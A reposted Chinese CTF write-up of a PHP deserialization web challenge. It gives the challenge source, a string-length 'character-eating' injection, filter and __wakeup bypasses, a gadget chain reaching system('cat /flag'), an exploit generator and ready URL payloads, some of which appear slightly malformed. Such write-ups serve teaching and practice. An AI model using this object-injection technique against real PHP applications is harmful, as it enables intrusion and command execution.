php writeup,强网杯writeup-web辅助（php反序列化）

转载

Turp 于 2021-03-29 05:50:16 发布 136 收藏 1
文章标签： php writeup

0x00 源码分析

index.php，序列化过程

```
@error_reporting(0);

require_once "common.php";

require_once "class.php";

if (isset($_GET['username']) && isset($_GET['password'])){

$username = $_GET['username'];

$password = $_GET['password'];

$player = new player($username, $password);

file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));

echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);

}

else{

echo "Please input the username or password!\n";

}

?>
```

common.php，在读写的过程中会做字符转化，同时check函数检查字符串中是否包含“name”

```
function read($data){

$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);

return $data;

}

function write($data){

$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);

return $data;

}

function check($data)

{
```

```
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>
```

class.php，包括好几个类，同时有各种魔法函数。jungle类中KS函数有"cat /flag"。

通过topsolo.__destruct(TP) -> midsolo.__invoke(Gank) -> jungle.__toString(KS) 可达。

需避免调用midsolo.__wakeup函数(因为该函数会改变属性的value)，可以通过标识的属性个数大于实际属性个数的方式来绕过。

```
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
```

```
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
```

```
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>
```

play.php，反序列化过程。

```
@error_reporting(0);
require_once "common.php";
require_once "class.php";
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
echo "FPX Champion\n";
}
else{
echo "The Shy unstoppable\n";
}
?>
```

因此，利用链为先调用index.php进行序列化，再调用play.php进行反序列化。

0x01 分析序列化后的存储内容

分析正常的payload，获得的序列化后的存储内容如下：

O:6:"player":3:{

s:7:"\0*\0user"; s:3:"gao";

s:7:"\0*\0pass"; s:1:"b";

s:8:"\0*\0admin"; i:0;

}

1)如果在username value中输入"\ 0 * \ 0"(5个字符)，write过程中不会变化，但是read过程中会替换为"chr(0) * chr(0)"(3个字符)。因此，会存在吞字符的情况，影响原来的数据结构，存在反序列化注入。

2)play.php中的check函数会检查是否存在"name"子串，可以通过转义绕过。

S:7:"\0*\0n\61me"

0x02 payload

编写exp.php生成payload

```
require_once "common.php";

require_once "class.php";

$jungle = new jungle();

$midsolo = new midsolo($jungle);

$topsolo = new topsolo($midsolo);

echo "
";

$ans = serialize($topsolo);

$ans = write($ans);

$ans = str_replace('s:7:"\0*\0name"', 'S:7:"\0*\0n\61me"', $ans); #escape the check function

$ans = str_replace('"midsolo":1', '"midsolo":2', $ans); #escape the invoke

var_dump($ans);

echo "
";

$username = str_repeat('\0*\0', 12);

$password = 'aa";s:7:"\0*\0pass";s:1:"b'; # this can unserialize successfully

$password = 'a";s:7:"\0*\0pass";'.$ans; #because of length is greater than 1

echo "
username=".$username."&password=".$password."
";

$player = new player($username, $password);

$store = write(serialize($player));
```

```
echo "
";

var_dump($store);

echo "
";

$store = read($store);

var_dump($store);

$player = unserialize($store);

var_dump($player);

?>
```

payload如下：

```
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=a";s:7:"\0*\0pass";O:7:"topsolo"
{S:7:"\0*\0n\61me";O:7:"midsolo":2:{S:7:"\0*\0n\61me";O:6:"jungle":1:{S:7:"\0*\0n\61me";s:7:"Lee Sin";}}}
```

网上看到大牛的payload如下，不同之处在于闭合了后续的"：

```
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=ven%22;s:1:%22a%22;O:7
{S:7:%22%00*%00n\61me%22;O:7:%22midsolo%22:3:{S:7:%22%00*%00n\61me%22;O:6:%22jungle%22:1:
{S:7:%22%00*%00n\61me%22;s:7:%22Lee%20Sin%22;}}}s:6:%22nu1lct%22;s:1:%221
```